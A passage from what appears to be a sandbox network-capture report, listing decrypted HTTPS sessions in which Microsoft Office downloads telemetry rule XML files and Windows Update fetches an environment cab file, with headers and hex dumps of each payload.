2024-11-23 14:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:58 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 4d626343-d01e-0028-4b44-3c7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143758Z-178bfbc474bwlrhlhC1NYCy3kg00000004m000000000b4uz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:58 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.5	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:58 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:58 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 26217b89-b01e-001e-808c-3a0214000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143758Z-178bfbc474brk967hC1NYCfu60000000049g00000000gpy2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:58 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.5	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:58 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:37:58 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:37:58 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5556881b-d01e-008e-6531-3c387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143758Z-178bfbc474bh5zbqhC1NYCkdug00000004m0000000003q75 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:37:58 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.5	49856	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:37:59 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=y4vW5RedAlCZHPr&MD=Z+BH3x1a HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-11-23 14:38:00 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: cd460cb0-6e16-4bfa-8c56-76d83acec354 MS-RequestId: 5ece9d5e-d88f-4189-93f4-cac15eb61b5a MS-CV: /KmM0KiKmkKTSbvM.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Sat, 23 Nov 2024 14:37:59 GMT Connection: close Content-Length: 30005
2024-11-23 14:38:00 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-23 14:38:00 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.5	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:00 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:00 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143800Z-178bfbc474bpnd5vhC1NYC4vr400000004gg00000000fdmq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:00 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.5	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:00 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:00 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: 6b04d5e8-e01e-000c-65ad-3b8e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143800Z-174c587ffdfx984chC1TEB676g00000002zg00000000gvdf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:00 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.5	49860	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:00 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:00 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 85babd8c-f01e-003f-4e8c-3ad19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143800Z-174c587ffdfl22mzhC1TEBk40c000000035g00000000dm2s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:00 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.5	49858	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:00 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:00 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 4857c71c-401e-0067-7e3a-3c09c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143800Z-15b8b599d88wk8w4hC1TEB14b8000000035g00000000439b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:00 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.5	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:00 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:00 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:00 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: e365756d-701e-0032-724d-3ca540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143800Z-15b8b599d88qw29phC1TEB5zag00000002xg00000000mpx5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:00 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.5	49862	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:02 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:02 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: abaf503b-901e-0064-2b47-3ce8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143802Z-178bfbc474bnwsh4hC1NYC2ubs00000004pg0000000099bp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:02 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.5	49864	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:02 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:02 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:02 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: 6fe4cd85-501e-0029-2ea1-3ad0b8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143802Z-178bfbc474bwh9gmhC1NYCy3rs00000004n000000000e9bw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-23 14:38:02 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.5	49865	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-23 14:38:02 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-23 14:38:03 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 14:38:02 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: d2879cce-801e-0047-5869-3b7265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241123T143802Z-178bfbc474brk967hC1NYCfu6000000004d0000000008tvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
